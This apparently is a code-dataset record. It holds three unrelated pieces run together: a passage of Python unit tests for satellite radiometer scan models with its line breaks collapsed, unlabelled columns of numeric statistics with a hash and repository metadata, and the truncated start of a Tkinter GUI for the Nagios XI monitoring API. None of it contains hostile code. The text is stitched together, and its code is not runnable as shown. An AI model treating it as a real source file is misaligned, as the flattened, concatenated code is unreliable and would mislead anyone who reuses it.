"scanWidth": 120, "interScanOverheadTime": 10e-3}') self.assertAlmostEqual(o.compute_dwell_time_per_ground_pixel(res_AT_m=5000, sat_speed_kmps=7.8, iFOV_CT_deg=4), 0.021034188034188037) def test_compute_swath_width(self): o = CrossTrackScan.from_json('{"@id": 123, "scanWidth": 20, "interScanOverheadTime": 1e-3}') antenna_fov_sph_geom = SphericalGeometry.from_dict({"shape": "CIRCULAR", "diameter": 1}) # using approximate swath formula as the truth data self.assertAlmostEqual(o.compute_swath_width(alt_km=500, instru_look_angle_deg=0, antenna_fov_sph_geom=antenna_fov_sph_geom), 20*np.pi/180*500, delta=25) self.assertAlmostEqual(o.compute_swath_width(alt_km=700, instru_look_angle_deg=0, antenna_fov_sph_geom=antenna_fov_sph_geom), 20*np.pi/180*700, delta=25) o = CrossTrackScan.from_json('{"@id": 123, "scanWidth": 60, "interScanOverheadTime": 1e-3}') self.assertAlmostEqual(o.compute_swath_width(alt_km=500, instru_look_angle_deg=0, antenna_fov_sph_geom=antenna_fov_sph_geom), 60*np.pi/180*500, delta=75) class TestConicalScan(unittest.TestCase): def test_from_json(self): """ Test typical initialization of the ConicalScan object """ o = ConicalScan.from_json('{"@id": "abc", "offNadirAngle": 30, "clockAngleRange": 60, "interScanOverheadTime": 1e-3}') self.assertIsInstance(o, ConicalScan) self.assertEqual(o._id, "abc") self.assertEqual(o._type, "ConicalScan") self.assertEqual(o.offNadirAngle, 30) self.assertEqual(o.clockAngleRange, 60) self.assertEqual(o.interScanOverheadTime, 1e-3) def test_to_dict(self): o = ConicalScan.from_json('{"@id": "abc", "offNadirAngle": 30, "clockAngleRange": 60, "interScanOverheadTime": 1e-3}') self.assertEqual(o.to_dict(), {'@id': "abc", '@type': 'CONICAL', "offNadirAngle": 30.0, "clockAngleRange": 60.0, "interScanOverheadTime": 0.001}) def test_compute_instru_field_of_view(self): o = ConicalScan.from_json('{"@id": "abc", "offNadirAngle": 30, "clockAngleRange": 60, "interScanOverheadTime": 1e-3}') instru_orientation = Orientation.from_dict({"referenceFrame": "SC_BODY_FIXED", "convention": "SIDE_LOOK","sideLookAngle":10}) antenna_fov_sph_geom = SphericalGeometry.from_dict({"shape": "CIRCULAR", "diameter": 30}) with self.assertRaises(NotImplementedError): o.compute_instru_field_of_view(antenna_fov_sph_geom=antenna_fov_sph_geom, instru_orientation=instru_orientation) def test_compute_dwell_time_per_ground_pixel(self): # results are the same as that of the CrossTrackScan o = ConicalScan.from_json('{"@id": "abc", "offNadirAngle": 30, "clockAngleRange": 120, "interScanOverheadTime": 1e-3}') self.assertAlmostEqual(o.compute_dwell_time_per_ground_pixel(res_AT_m=5000, sat_speed_kmps=7.8, iFOV_CT_deg=4), 0.021334188034188035) self.assertAlmostEqual(o.compute_dwell_time_per_ground_pixel(res_AT_m=10000, sat_speed_kmps=7.8, iFOV_CT_deg=4), 2*0.021334188034188035, places=4) # dwell time should be around doubled in case of double along-track pixel resolution self.assertAlmostEqual(o.compute_dwell_time_per_ground_pixel(res_AT_m=5000, sat_speed_kmps=7.8, iFOV_CT_deg=8), 2*0.021334188034188035, places=4) # dwell time should be around doubled in case of cross-track iFOV o = CrossTrackScan.from_json('{"scanWidth": 120, "interScanOverheadTime": 10e-3}') self.assertAlmostEqual(o.compute_dwell_time_per_ground_pixel(res_AT_m=5000, sat_speed_kmps=7.8, iFOV_CT_deg=4), 0.021034188034188037) def test_compute_swath_width(self): o = ConicalScan.from_json('{"@id": "abc", "offNadirAngle": 30, "clockAngleRange": 120, "interScanOverheadTime": 1e-3}') # using approximate swath formula as the truth data self.assertAlmostEqual(o.compute_swath_width(alt_km=500, instru_look_angle_deg=0), 612.7169711748869) self.assertAlmostEqual(o.compute_swath_width(alt_km=700, instru_look_angle_deg=0), 862.5336432436297) with self.assertRaises(Exception): o.compute_swath_width(alt_km=500, instru_look_angle_deg=30) # instrument look angle is not 0 degrees class TestRadiometerModel(unittest.TestCase): @classmethod def setUpClass(cls): cls.radio1_json = '{"@type": "Radiometer", "name": "ray1", "mass": 50, "volume": 3, "power": 10,' \ ' "orientation": {"referenceFrame": "SC_BODY_FIXED", "convention": "REF_FRAME_ALIGNED"},' \ ' "bitsPerPixel": 16,' \ ' "operatingFrequency": 1.25e9,' \ ' "antenna": {"shape": "CIRCULAR", "diameter": 1, "apertureExcitationProfile": "UNIFORM",' \ ' "radiationEfficiency": 0.8, "phyTemp": 300},' \ ' "system": {"tlLoss": 0.5, "tlPhyTemp": 290, ' \ ' "rfAmpGain": 30, "rfAmpInpNoiseTemp": 200, ' \ ' "rfAmpGainVariation": 10, "mixerGain": 23, "mixerInpNoiseTemp": 1200,' \ ' "mixerGainVariation": 2, "ifAmpGain": 30, "ifAmpInputNoiseTemp": 100,' \ ' "ifAmpGainVariation": 10, "integratorVoltageGain": 1, "integrationTime": 100e-3,' \ ' "bandwidth": 10e6, "@type": "TOTAL_POWER"},' \ ' "scan": {"@type": "FIXED"},' \ ' "targetBrightnessTemp": 345' \ '}' cls.radio2_json = '{"@type": "Radiometer", "name": "ray2", "mass": 50, ' \ ' "operatingFrequency": 1.25e9,' \ ' "antenna": {"shape": "RECTANGULAR", "height": 1, "width": 1, "apertureExcitationProfile": "UNIFORM",' \ ' "radiationEfficiency": 0.75, "phyTemp": 300},' \ ' "system": { "predetectionGain": 83, "predetectionInpNoiseTemp": 700, ' \ ' "predetectionGainVariation": 1995262.314968883, "integrationTime": 1, ' \ ' "bandwidth": 100e6, "referenceTemperature": 300, "integratorVoltageGain": 1,' \ ' "@type": "UNBALANCED_DICKE"},' \ ' "scan": {"@type": "CROSS_TRACK", "scanWidth": 120, "interScanOverheadTime": 1e-3},' \ ' "targetBrightnessTemp": 301' \ '}' cls.radio3_json = '{"@type": "Radiometer", "@id": "ray3",' \ ' "orientation": {"referenceFrame": "SC_BODY_FIXED", "convention": "REF_FRAME_ALIGNED"},' \ ' "bitsPerPixel": 16,' \ ' "operatingFrequency": 1.25e9,' \ ' "antenna": {"shape": "CIRCULAR", "diameter": 3.5, "apertureExcitationProfile": "UNIFORM",' \ ' "radiationEfficiency": 1, "phyTemp": 300},' \ ' "system": { "tlLoss": 0.5, "tlPhyTemp": 290, "rfAmpGain": 30, "rfAmpInpNoiseTemp": 200,' \ ' "rfAmpGainVariation": 10, "mixerGain": 23, "mixerInpNoiseTemp": 1200, "mixerGainVariation": 2,' \ ' "ifAmpGain": 30, "ifAmpInputNoiseTemp": 100, "ifAmpGainVariation": 10, "dickeSwitchOutputNoiseTemperature": 90,' \ ' "integratorVoltageGain": 1, "integrationTime": 1, "bandwidth": 100e6, "@type": "BALANCED_DICKE"},' \ ' "scan": {"@type": "CONICAL", "offNadirAngle": 30, "clockAngleRange": 60, "interScanOverheadTime": 1e-3},' \ ' "targetBrightnessTemp": 295' \ '}' cls.radio4_json = '{"@type": "Radiometer", "@id": "ray4",' \ ' "orientation": {"referenceFrame": "SC_BODY_FIXED", "convention": "SIDE_LOOK", "sideLookAngle":-30},' \ ' "operatingFrequency": 1.25e9,' \ ' "antenna": {"shape": "CIRCULAR", "diameter": 1, "apertureExcitationProfile": "UNIFORM",' \ ' "radiationEfficiency": 1, "phyTemp": 300},' \ ' "system": { "tlLoss": 0.5, "tlPhyTemp": 290, "rfAmpGain": 30, "rfAmpInpNoiseTemp": 200,' \ ' "rfAmpGainVariation": 10, "mixerGain": 23, "mixerInpNoiseTemp": 1200, "mixerGainVariation": 2,' \ ' "ifAmpGain": 30, "ifAmpInputNoiseTemp": 100, "ifAmpGainVariation": 10, "excessNoiseTemperature": 1000,' \ ' "integratorVoltageGain": 1, "integrationTime": 1, "bandwidth": 100e6, "@type": "NOISE_ADDING"},' \ ' "scan": {"@type": "FIXED"},' \ ' "targetBrightnessTemp": 295' \ '}' def test_from_json(self): """ Test typical initializations of the RadiometerModel object """ o = RadiometerModel.from_json(self.radio1_json) self.assertIsInstance(o, RadiometerModel) self.assertIsNotNone(o._id) self.assertEqual(o.name, "ray1") self.assertEqual(o.mass, 50) self.assertEqual(o.volume, 3) self.assertEqual(o.power, 10) self.assertEqual(o.orientation, Orientation.from_dict({"referenceFrame": "SC_BODY_FIXED", "convention": "REF_FRAME_ALIGNED"})) self.assertEqual(o.bitsPerPixel, 16) self.assertEqual(o.operatingFrequency, 1.25e9) self.assertEqual(o.antenna, Antenna.from_dict({"shape": "CIRCULAR", "diameter": 1, "apertureExcitationProfile": "UNIFORM", "radiationEfficiency": 0.8, "phyTemp": 300})) self.assertEqual(o.system, TotalPowerRadiometerSystem.from_dict({"tlLoss": 0.5, "tlPhyTemp": 290, "rfAmpGain": 30, "rfAmpInpNoiseTemp": 200, "rfAmpGainVariation": 10, "mixerGain": 23, "mixerInpNoiseTemp": 1200, "mixerGainVariation": 2, "ifAmpGain": 30, "ifAmpInputNoiseTemp": 100, "ifAmpGainVariation": 10, "integratorVoltageGain": 1, "integrationTime": 100e-3, "bandwidth": 10e6})) self.assertEqual(o.scan, FixedScan.from_dict({})) self.assertEqual(o.targetBrightnessTemp, 345) o = RadiometerModel.from_json(self.radio2_json) self.assertIsInstance(o, RadiometerModel) self.assertIsNotNone(o._id) self.assertEqual(o.name, "ray2") self.assertEqual(o.mass, 50) self.assertIsNone(o.volume) self.assertIsNone(o.power) self.assertEqual(o.orientation, Orientation.from_dict({"referenceFrame": "SC_BODY_FIXED", "convention": "REF_FRAME_ALIGNED"})) self.assertIsNone(o.bitsPerPixel) self.assertEqual(o.operatingFrequency, 1.25e9) self.assertEqual(o.antenna, Antenna.from_dict({"shape": "RECTANGULAR", "height": 1, "width":1, "apertureExcitationProfile": "UNIFORM", "radiationEfficiency": 0.75, "phyTemp": 300})) self.assertEqual(o.system, UnbalancedDikeRadiometerSystem.from_dict({ "predetectionGain": 83, "predetectionInpNoiseTemp": 700, "predetectionGainVariation": 1995262.314968883, "integrationTime": 1, "bandwidth": 100e6, "referenceTemperature": 300, "integratorVoltageGain": 1, "@type": "UNBALANCED_DICKE"})) self.assertEqual(o.scan, CrossTrackScan.from_dict({"scanWidth": 120, "interScanOverheadTime": 1e-3})) self.assertEqual(o.targetBrightnessTemp, 301) o = RadiometerModel.from_json(self.radio3_json) self.assertIsInstance(o, RadiometerModel) self.assertEqual(o._id, "ray3") self.assertIsNone(o.name) self.assertIsNone(o.mass) self.assertIsNone(o.volume) self.assertIsNone(o.power) self.assertEqual(o.orientation, Orientation.from_dict({"referenceFrame": "SC_BODY_FIXED", "convention": "REF_FRAME_ALIGNED"})) self.assertEqual(o.bitsPerPixel, 16) self.assertEqual(o.operatingFrequency, 1.25e9) self.assertEqual(o.antenna, Antenna.from_dict({"shape": "CIRCULAR", "diameter": 3.5, "apertureExcitationProfile": "UNIFORM", "radiationEfficiency": 1, "phyTemp": 300})) self.assertEqual(o.system, BalancedDikeRadiometerSystem.from_dict({ "tlLoss": 0.5, "tlPhyTemp": 290, "rfAmpGain": 30, "rfAmpInpNoiseTemp": 200, "rfAmpGainVariation": 10, "mixerGain": 23, "mixerInpNoiseTemp": 1200, "mixerGainVariation": 2, "ifAmpGain": 30, "ifAmpInputNoiseTemp": 100, "ifAmpGainVariation": 10, "dickeSwitchOutputNoiseTemperature": 90, "integratorVoltageGain": 1, "integrationTime": 1, "bandwidth": 100e6, "@type": "BALANCED_DICKE"})) self.assertEqual(o.scan, ConicalScan.from_dict({"offNadirAngle": 30, "clockAngleRange": 60, "interScanOverheadTime": 1e-3})) self.assertEqual(o.targetBrightnessTemp, 295) o = RadiometerModel.from_json(self.radio4_json) self.assertIsInstance(o, RadiometerModel) self.assertEqual(o._id, "ray4") self.assertIsNone(o.name) self.assertIsNone(o.mass) self.assertIsNone(o.volume) self.assertIsNone(o.power) self.assertEqual(o.orientation, Orientation.from_dict({"referenceFrame": "SC_BODY_FIXED", "convention": "SIDE_LOOK", "sideLookAngle":-30})) self.assertIsNone(o.bitsPerPixel) self.assertEqual(o.operatingFrequency, 1.25e9) self.assertEqual(o.antenna, Antenna.from_dict({"shape": "CIRCULAR", "diameter": 1, "apertureExcitationProfile": "UNIFORM", "radiationEfficiency": 1, "phyTemp": 300})) self.assertEqual(o.system, NoiseAddingRadiometerSystem.from_dict({ "tlLoss": 0.5, "tlPhyTemp": 290, "rfAmpGain": 30, "rfAmpInpNoiseTemp": 200, "rfAmpGainVariation": 10, "mixerGain": 23, "mixerInpNoiseTemp": 1200, "mixerGainVariation": 2, "ifAmpGain": 30, "ifAmpInputNoiseTemp": 100, "ifAmpGainVariation": 10, "excessNoiseTemperature": 1000, "integratorVoltageGain": 1, "integrationTime": 1, "bandwidth": 100e6, "@type": "NOISE_ADDING"})) self.assertEqual(o.scan, FixedScan.from_dict({})) self.assertEqual(o.targetBrightnessTemp, 295) def test_to_dict(self): o = RadiometerModel.from_json(self.radio1_json) _id = o._id # id is generated randomly self.assertEqual(o.to_dict(), {'@type': 'Radiometer', 'name': 'ray1', 'mass': 50.0, 'volume': 3.0, 'power': 10.0, 'orientation': {'referenceFrame': 'SC_BODY_FIXED', 'convention': 'EULER', 'eulerAngle1': 0.0, 'eulerAngle2': 0.0, 'eulerAngle3': 0.0, 'eulerSeq1': 1, 'eulerSeq2': 2, 'eulerSeq3': 3, '@id': None}, 'fieldOfViewGeometry': {'shape': 'CIRCULAR', 'diameter': 13.741474058602394, '@id': None}, 'sceneFieldOfViewGeometry': {'shape': 'CIRCULAR', 'diameter': 13.741474058602394, '@id': None}, 'maneuver': None, 'pointingOption': None, 'dataRate': None, 'bitsPerPixel': 16, 'antenna': {'shape': 'CIRCULAR', 'apertureExcitationProfile': 'UNIFORM', 'diameter': 1.0, 'height': None, 'width': None, 'apertureEfficiency': None, 'radiationEfficiency': 0.8, 'phyTemp': 300.0, '@id': None}, 'operatingFrequency': 1250000000.0, 'system': {'tlLoss': 0.5, 'tlPhyTemp': 290.0, 'rfAmpGain': 30.0, 'rfAmpInpNoiseTemp': 200.0, 'rfAmpGainVariation': 10.0, 'mixerGain,': 23.0, 'mixerInpNoiseTemp': 1200.0, 'mixerGainVariation': 2.0, 'ifAmpGain': 30.0, 'ifAmpInputNoiseTemp': 100.0, 'ifAmpGainVariation': 10.0, 'integratorVoltageGain': 1.0, 'predetectionGain': None, 'predetectionInpNoiseTemp': None, 'predetectionGainVariation': None, 'integrationTime': 0.1, 'bandwidth': 10000000.0, '@id': None, '@type': 'TOTAL_POWER'}, 'scan': {'@id': None, '@type': 'FIXED'}, 'targetBrightnessTemp': 345.0, '@id': _id}) o = RadiometerModel.from_json(self.radio2_json) _id = o._id # id is generated randomly self.assertEqual(o.to_dict(), {'@type': 'Radiometer', 'name': 'ray2', 'mass': 50.0, 'volume': None, 'power': None, 'orientation': {'referenceFrame': 'SC_BODY_FIXED', 'convention': 'EULER', 'eulerAngle1': 0.0, 'eulerAngle2': 0.0, 'eulerAngle3': 0.0, 'eulerSeq1': 1, 'eulerSeq2': 2, 'eulerSeq3': 3, '@id': None}, 'fieldOfViewGeometry': {'shape': 'RECTANGULAR', 'angleHeight': 12.092497171570107, 'angleWidth': 12.092497171570086, '@id': None}, 'sceneFieldOfViewGeometry': {'shape': 'RECTANGULAR', 'angleHeight': 12.092497171570107, 'angleWidth': 12.092497171570086, '@id': None}, 'maneuver': None, 'pointingOption': None, 'dataRate': None, 'bitsPerPixel': None, 'antenna': {'shape': 'RECTANGULAR', 'apertureExcitationProfile': 'UNIFORM', 'diameter': None, 'height': 1.0, 'width': 1.0, 'apertureEfficiency': None, 'radiationEfficiency': 0.75, 'phyTemp': 300.0, '@id': None}, 'operatingFrequency': 1250000000.0, 'system': {'tlLoss': None, 'tlPhyTemp': None, 'rfAmpGain': None, 'rfAmpInpNoiseTemp': None, 'rfAmpGainVariation': None, 'mixerGain,': None, 'mixerInpNoiseTemp': None, 'mixerGainVariation': None, 'ifAmpGain': None, 'ifAmpInputNoiseTemp': None, 'ifAmpGainVariation': None, 'dickeSwitchOutputNoiseTemperature': None, 'referenceTemperature': 300.0, 'integratorVoltageGain': 1.0, 'predetectionGain': 83.0, 'predetectionInpNoiseTemp': 700.0, 'predetectionGainVariation': 1995262.314968883, 'integrationTime': 1.0, 'bandwidth': 100000000.0, '@id': None, '@type': 'UNBALANCED_DICKE'}, 'scan': {'scanWidth': 120.0, 'interScanOverheadTime': 0.001, '@id': None, '@type': 'CROSS_TRACK'}, 'targetBrightnessTemp': 301.0, '@id': _id}) o = RadiometerModel.from_json(self.radio3_json) self.assertEqual(o.to_dict(), {'@type': 'Radiometer', 'name': None, 'mass': None, 'volume': None, 'power': None, 'orientation': {'referenceFrame': 'SC_BODY_FIXED', 'convention': 'EULER', 'eulerAngle1': 0.0, 'eulerAngle2': 0.0, 'eulerAngle3': 0.0, 'eulerSeq1': 1, 'eulerSeq2': 2, 'eulerSeq3': 3, '@id': None}, 'fieldOfViewGeometry': {'shape': 'CIRCULAR', 'diameter': 3.9261354453149697, '@id': None}, 'sceneFieldOfViewGeometry': {'shape': 'CIRCULAR', 'diameter': 3.9261354453149697, '@id': None}, 'maneuver': None, 'pointingOption': None, 'dataRate': None, 'bitsPerPixel': 16, 'antenna': {'shape': 'CIRCULAR', 'apertureExcitationProfile': 'UNIFORM', 'diameter': 3.5, 'height': None, 'width': None, 'apertureEfficiency': None, 'radiationEfficiency': 1.0, 'phyTemp': 300.0, '@id': None}, 'operatingFrequency': 1250000000.0, 'system': {'tlLoss': 0.5, 'tlPhyTemp': 290.0, 'rfAmpGain': 30.0, 'rfAmpInpNoiseTemp': 200.0, 'rfAmpGainVariation': 10.0, 'mixerGain,': 23.0, 'mixerInpNoiseTemp': 1200.0, 'mixerGainVariation': 2.0, 'ifAmpGain': 30.0, 'ifAmpInputNoiseTemp': 100.0, 'ifAmpGainVariation': 10.0, 'dickeSwitchOutputNoiseTemperature': 90.0, 'integratorVoltageGain': 1.0, 'predetectionGain': None, 'predetectionInpNoiseTemp': None, 'predetectionGainVariation': None, 'integrationTime': 1.0, 'bandwidth': 100000000.0, '@id': None, '@type': 'BALANCED_DICKE'}, 'scan': {'offNadirAngle': 30.0, 'clockAngleRange': 60.0, 'interScanOverheadTime': 0.001, '@id': None, '@type': 'CONICAL'}, 'targetBrightnessTemp': 295.0, '@id': 'ray3'}) o = RadiometerModel.from_json(self.radio4_json) self.assertEqual(o.to_dict(), {'@type': 'Radiometer', 'name': None, 'mass': None, 'volume': None, 'power': None, 'orientation': {'referenceFrame': 'SC_BODY_FIXED', 'convention': 'EULER', 'eulerAngle1': 0.0, 'eulerAngle2': 330.0, 'eulerAngle3': 0.0, 'eulerSeq1': 1, 'eulerSeq2': 2, 'eulerSeq3': 3, '@id': None}, 'fieldOfViewGeometry': {'shape': 'CIRCULAR', 'diameter': 13.741474058602394, '@id': None}, 'sceneFieldOfViewGeometry': {'shape': 'CIRCULAR', 'diameter': 13.741474058602394, '@id': None}, 'maneuver': None, 'pointingOption': None, 'dataRate': None, 'bitsPerPixel': None, 'antenna': {'shape': 'CIRCULAR', 'apertureExcitationProfile': 'UNIFORM', 'diameter': 1.0, 'height': None, 'width': None, 'apertureEfficiency': None, 'radiationEfficiency': 1.0, 'phyTemp': 300.0, '@id': None}, 'operatingFrequency': 1250000000.0, 'system': {'tlLoss': 0.5, 'tlPhyTemp': 290.0, 'rfAmpGain': 30.0, 'rfAmpInpNoiseTemp': 200.0, 'rfAmpGainVariation': 10.0, 'mixerGain,': 23.0, 'mixerInpNoiseTemp': 1200.0, 'mixerGainVariation': 2.0, 'ifAmpGain': 30.0, 'ifAmpInputNoiseTemp': 100.0, 'ifAmpGainVariation': 10.0, 'excessNoiseTemperature': 1000.0, 'integratorVoltageGain': 1.0, 'predetectionGain': None, 'predetectionInpNoiseTemp': None, 'predetectionGainVariation': None, 'integrationTime': 1.0, 'bandwidth': 100000000.0, '@id': None, '@type': 'NOISE_ADDING'}, 'scan': {'@id': None, '@type': 'FIXED'}, 'targetBrightnessTemp': 295.0, '@id': 'ray4'}) def test_calc_data_metrics_1(self): """ ``instru_look_angle_from_target_inc_angle`` flag is set to False.""" epoch_JDUT1 = 2458543.06088 # 2019 Feb 28 13:27:40 is time at which the ECEF and ECI frames approximately align, hence ECEF to ECI rotation is identity. See <https://www.celnav.de/longterm.htm> online calculator of GMST. SpacecraftOrbitState = {'time [JDUT1]':epoch_JDUT1, 'x [km]': 6878.137, 'y [km]': 0, 'z [km]': 0, 'vx [km/s]': 0, 'vy [km/s]': 7.6126, 'vz [km/s]': 0} # altitude 500 km TargetCoords = {'lat [deg]': 0, 'lon [deg]': 0} o = RadiometerModel.from_json(self.radio1_json) data_metrics = o.calc_data_metrics(sc_orbit_state=SpacecraftOrbitState, target_coords=TargetCoords, instru_look_angle_from_target_inc_angle=False) self.assertEqual(data_metrics, {'ground pixel along-track resolution [m]': 119917.0, 'ground pixel cross-track resolution [m]': 119917.02, 'swath-width [m]': 120565.56, 'sensitivity [K]': 17.94, 'incidence angle [deg]': 0.03, 'beam efficiency': np.nan}) o = RadiometerModel.from_json(self.radio2_json) TargetCoords = {'lat [deg]': 5, 'lon [deg]': 0} # target pixel somewhere on the cross-track direction. data_metrics = o.calc_data_metrics(sc_orbit_state=SpacecraftOrbitState, target_coords=TargetCoords, instru_look_angle_from_target_inc_angle=False) self.assertEqual(data_metrics, {'ground pixel along-track resolution [m]': 161269.89, 'ground pixel cross-track resolution [m]': 260072.11, 'swath-width [m]': 3159185.93, 'sensitivity [K]': 0.2, 'incidence angle [deg]': 51.68, 'beam efficiency': 0.24}) o = RadiometerModel.from_json(self.radio3_json) TargetCoords = {'lat [deg]': 0, 'lon [deg]': 2.62} data_metrics = o.calc_data_metrics(sc_orbit_state=SpacecraftOrbitState, target_coords=TargetCoords, instru_look_angle_from_target_inc_angle=False) # calculated pixels resolutions are not accurate since the imaged pixel is not at side-looking geometry self.assertEqual(data_metrics, {'ground pixel along-track resolution [m]': 40047.33, 'ground pixel cross-track resolution [m]': 47491.27, 'swath-width [m]': 306358.49, 'sensitivity [K]': 0.21, 'incidence angle [deg]': 32.51, 'beam efficiency': np.nan}) o = RadiometerModel.from_json(self.radio4_json) TargetCoords = {'lat [deg]': -2.62, 'lon [deg]': 0} data_metrics = o.calc_data_metrics(sc_orbit_state=SpacecraftOrbitState, target_coords=TargetCoords, instru_look_angle_from_target_inc_angle=False) self.assertEqual(data_metrics, {'ground pixel along-track resolution [m]': 140198.56, 'ground pixel cross-track resolution [m]': 166301.75, 'swath-width [m]': 168745.48, 'sensitivity [K]': 0.23, 'incidence angle [deg]': 32.54, 'beam efficiency': np.nan}) def test_calc_data_metrics_2(self): """ ``instru_look_angle_from_target_inc_angle`` flag is set to True.""" epoch_JDUT1 = 2458543.06088 # 2019 Feb 28 13:27:40 is time at which the ECEF and ECI frames approximately align, hence ECEF to ECI rotation is identity. See <https://www.celnav.de/longterm.htm> online calculator of GMST. SpacecraftOrbitState = {'time [JDUT1]':epoch_JDUT1, 'x [km]': 6878.137, 'y [km]': 0, 'z [km]': 0, 'vx [km/s]': 0, 'vy [km/s]': 7.6126, 'vz [km/s]': 0} # altitude 500 km TargetCoords = {'lat [deg]': 0, 'lon [deg]': 0.5} o = RadiometerModel.from_json(self.radio1_json) data_metrics = o.calc_data_metrics(sc_orbit_state=SpacecraftOrbitState, target_coords=TargetCoords, instru_look_angle_from_target_inc_angle=True) self.assertEqual(data_metrics, {'ground pixel along-track resolution [m]': 120708.29, 'ground pixel cross-track resolution [m]': 121567.92, 'swath-width [m]': 122255.0, 'sensitivity [K]': 17.94, 'incidence angle [deg]': 6.82, 'beam efficiency': np.nan})
71.570957
326
0.610532
6,278
65,058
6.179516
0.081714
0.067663
0.068875
0.024668
0.892306
0.875216
0.835572
0.810749
0.780152
0.727156
0
0.072646
0.261351
65,058
908
327
71.64978
0.734658
0.060146
0
0.66891
0
0.018843
0.254836
0.068245
0
0
0
0.001101
0.438762
1
0.05249
false
0
0.009421
0
0.072678
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
7
c23a72d2c41ae5389901b77e85b870a237e24898
45,489
py
Python
vis.py
FernandoRD/NagiosXI_api
fe66043a2dc3139ad7e6f3cc2b027f167078111c
[ "MIT" ]
null
null
null
vis.py
FernandoRD/NagiosXI_api
fe66043a2dc3139ad7e6f3cc2b027f167078111c
[ "MIT" ]
null
null
null
vis.py
FernandoRD/NagiosXI_api
fe66043a2dc3139ad7e6f3cc2b027f167078111c
[ "MIT" ]
null
null
null
import requests from tkinter import Checkbutton, Tk, filedialog, Message, Entry, StringVar, Text, Scrollbar, scrolledtext, LEFT, RIGHT, Y, END, W, SUNKEN, OUTSIDE from tkinter import Button, Frame, IntVar, Radiobutton, Widget, OptionMenu, Scrollbar from tkinter import messagebox import json import re #from tkscrolledframe import ScrolledFrame from requests.models import MissingSchema import functions import objects api_url = "" # Cria os widgets de botões para a visão read only def draw_interface_applied(root, frame0, frame1, frame2, frame3, usr_tokens, usr_token_key, api_base, api_base_key): for widget in frame1.winfo_children(): widget.destroy() for widget in frame2.winfo_children(): widget.destroy() for widget in frame3.winfo_children(): widget.destroy() # cada dicionário tem 2 funções as keys são o que se escolhe no menu e os valores são o que a vem no JSON (fiz um de - para com os dados no help do Nagios available_objects = objects.available_objects api_object = StringVar() # Definido api_object default copiando a key de available_objects api_object.set("objects/hoststatus") tit_api_object_menu = Message(frame1, text="API Objects", aspect=400) tit_api_object_menu.place(x=1, y=10) api_object_menu = OptionMenu(frame1, api_object, *available_objects) api_object_menu.place(x=130, y=5) for widget in frame2.winfo_children(): widget.destroy() tit_api_filter = Message(frame2, text="Search Parameters", aspect=600) tit_api_filter.place(x=1, y=0) api_filter = Entry(frame2) api_filter.place(x=130, y=0, width=400, height=20) #api_filter.insert(END, "name=lk:apple") titulo_show_api = Message(frame2, text="Get API", aspect=400) titulo_show_api.place(x=1, y=40) show_api = Message(frame2, aspect=2050, anchor=W, relief=SUNKEN) show_api.place(x=130, y=45, width=820, height=40) text_area_json = scrolledtext.ScrolledText(frame2, width=111, height=12) text_area_json.place(x=50, y=100) text_area_json.insert(END, "JSON Contents") for widget in frame3.winfo_children(): widget.destroy() def button_build_API(): global api_url api_url = functions.build_API(api_object, api_filter, usr_token_key, usr_tokens, api_base_key, api_base) functions.update_api(api_url, frame2) button_build_API = Button(frame3, text="Build API", command=button_build_API) button_build_API.place(x=50, y=10, width=150, height=30) def button_get_json(): api_selected_object = str(api_object.get()) type_oper = "applied" api_method = "get" try: list_json = functions.get_json(type_oper, api_method, api_url, available_objects, api_selected_object) except ConnectionError: messagebox.showerror("Conexão", "API Inválida!") except MissingSchema: messagebox.showerror("Conexão", "Monte a API primeiro!") except Exception as e: print(e) messagebox.showerror("Conexão", "Erro desconhecido!") else: # Antes de jogar na tela o JSON ele testa o tamanho, se for muito grande pergunta se quer salvar em arquivo direto if int(list_json[0]) > 50: if messagebox.askyesno("Resposta muito grande", "Gostaria de salvar em arquivo?"): functions.save_file(list_json[1], "json") else: text_area_json.delete(1.0, END) text_area_json.insert(END, list_json[1]) button_get_jason = Button(frame3, text="Get JSON", command=button_get_json) button_get_jason.place(x=210, y=10, width=150, height=30) def button_clear_text(): global api_url api_url = "" text_area_json.delete(1.0, END) # text_area_json.insert(END, resposta) button_clear = Button(frame3, text="Clear", command=button_clear_text) button_clear.place(x=370, y=10, width=150, height=30) def button_save_json(): functions.save_file(text_area_json.get(1.0, END), "json") button_save = Button(frame3, text="Save JSON", command=button_save_json) button_save.place(x=50, y=60, width=150, height=30) def button_load_json(): text_area_json.delete(1.0, END) text_area_json.insert(END, json.loads(functions.load_file())) button_load = Button(frame3, text="Load JSON", command=button_load_json) button_load.place(x=210, y=60, width=150, height=30) def button_convert_json(): functions.convert_json() button_convert = Button(frame3, text="JSON -> CSV", command=button_convert_json) button_convert.place(x=370, y=60, width=150, height=30) def button_quit_program(): functions.quit_program(root) button_quit = Button(frame3, text="Quit", command=button_quit_program) button_quit.place(x=800, y=10, width=150, height=30) # Desenha os widgets de botões para a visão de config def draw_interface_config(root, frame0, frame1, frame2, frame3, usr_tokens, usr_token_key, api_base, api_base_key): for widget in frame1.winfo_children(): widget.destroy() for widget in frame2.winfo_children(): widget.destroy() for widget in frame3.winfo_children(): widget.destroy() # Listas com as opções de configuração available_objects_config = objects.available_objects_config options_available_config_host = objects.options_available_config_host options_available_config_service = objects.options_available_config_service options_available_config_hostgroup = objects.options_available_config_hostgroup options_available_config_servicegroup = objects.options_available_config_servicegroup options_available_config_command = objects.options_available_config_command options_available_config_contact = objects.options_available_config_contact options_available_config_contactgroup = objects.options_available_config_contactgroup options_available_config_timeperiod = objects.options_available_config_timeperiod api_object = StringVar() # Definido api_object default copiando a key de available_objects api_object.set("config/host") tit_api_object_menu_config = Message(frame1, text="API Objects", aspect=400) tit_api_object_menu_config.place(x=1, y=36) api_object_menu_config = OptionMenu(frame1, api_object, *available_objects_config) api_object_menu_config.place(x=128, y=36) def draw_buttons_config_get(): #global api_filter for widget in frame2.winfo_children(): widget.destroy() for widget in frame3.winfo_children(): widget.destroy() tit_api_filter = Message(frame2, text="Search Parameters", aspect=600) tit_api_filter.place(x=1, y=0) api_filter = Entry(frame2) api_filter.place(x=130, y=0, width=400, height=20) #api_filter.insert(END, "name=lk:apple") titulo_show_api = Message(frame2, text="Get API", aspect=400) titulo_show_api.place(x=1, y=40) show_api = Message(frame2, aspect=2050, anchor=W, relief=SUNKEN) show_api.place(x=130, y=45, width=820, height=40) text_area_json = scrolledtext.ScrolledText(frame2, width=111, height=12) text_area_json.place(x=50, y=100) text_area_json.insert(END, "JSON Contents") def button_build_API(): global api_url api_url = functions.build_API(api_object, 